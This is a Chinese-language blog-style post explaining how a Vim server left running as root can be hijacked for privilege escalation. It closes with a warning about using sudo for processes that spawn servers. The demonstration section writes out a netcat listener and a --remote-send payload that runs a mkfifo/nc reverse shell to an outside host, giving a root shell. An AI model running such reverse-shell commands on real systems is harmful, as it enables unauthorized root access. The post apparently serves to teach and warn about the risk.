背景
近期建立了一種新的工作流,就是使用 VIM 的 Server-Client 模式。在這個模式下,所有打開的檔案會被發送到同一個 VIM 視窗。這樣的好處很明顯,如果有多個視窗在編輯檔案,就需要到處切換,找想要的檔案,現在不用到處找了,都彙總在一起。我會使用
--remote-tab
在新的
vim tab
中加載新檔案,這樣非常直覺,友善管理。
但是有一個問題,就是非
root
使用者運作的
vim server
,是不能編輯系統檔案的(也就是所屬使用者是 root)。解決方法是,要使用
sudo
來運作
vim server
,這樣會帶來如下的安全隐患。
問題
仔細想一下,如果
vim
被設定了
suid
,那麼可以被用來提權。這裡面的道理就是你可以以
root
的身份來運作
vim
。其本質就和
root
運作
vim server
一樣了。
vim server
有這樣的特性,如果你運作一個
vim server
:
vim --servername SAMPLESRV
但是你在關閉終端視窗的時候,沒有退出
vim
,那麼這個
vim server
程序就會保持在背景繼續運作,就像一個
daemon
。

更糟糕的是,
vim server
可以開啟多個,他們都可以在不同程序共存。
所謂安全問題最薄弱的一環是人,隻要人一疏忽,就會留下很大的安全漏洞。就比如說,忘記清除以
root
身份運作的
vim server
。
執行個體論證
假設你已經以低權限進入了目标主機,然後檢視所有程序發現有一個
vim server
以
root
身份運作。
那麼很簡單,就像
vim
内可以使用
:!cmd
運作任意系統指令,
vim server
也可以通過
--remote-send
特性,來執行系統指令。例如:
vim --servername SAMPLESRV --remote-send ":split filename"
那麼 vim 就會以水準分割的方式打開新檔案。
綜上,就可以通過向
vim server
發送系統指令來擷取
root
權限的
reverse shell
。
本機監聽目标端口:
nc -lvnp 9999
然後向目标機器上以
root
身份運作的
vim server
發送指令。
vim --servername SAMPLESRV --remote-send ":! rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i | nc ip 9999 > /tmp/f<Enter>"
就能擷取目标機器的
reverse shell
,權限
root
。
總結
好像沒有多少人這樣使用 vim,但是既然存在,那麼也是一個
attack vector
。
總之,無論什麼系統指令,在涉及會生成服務程序的時候,一定要小心小心再小心地使用
sudo
。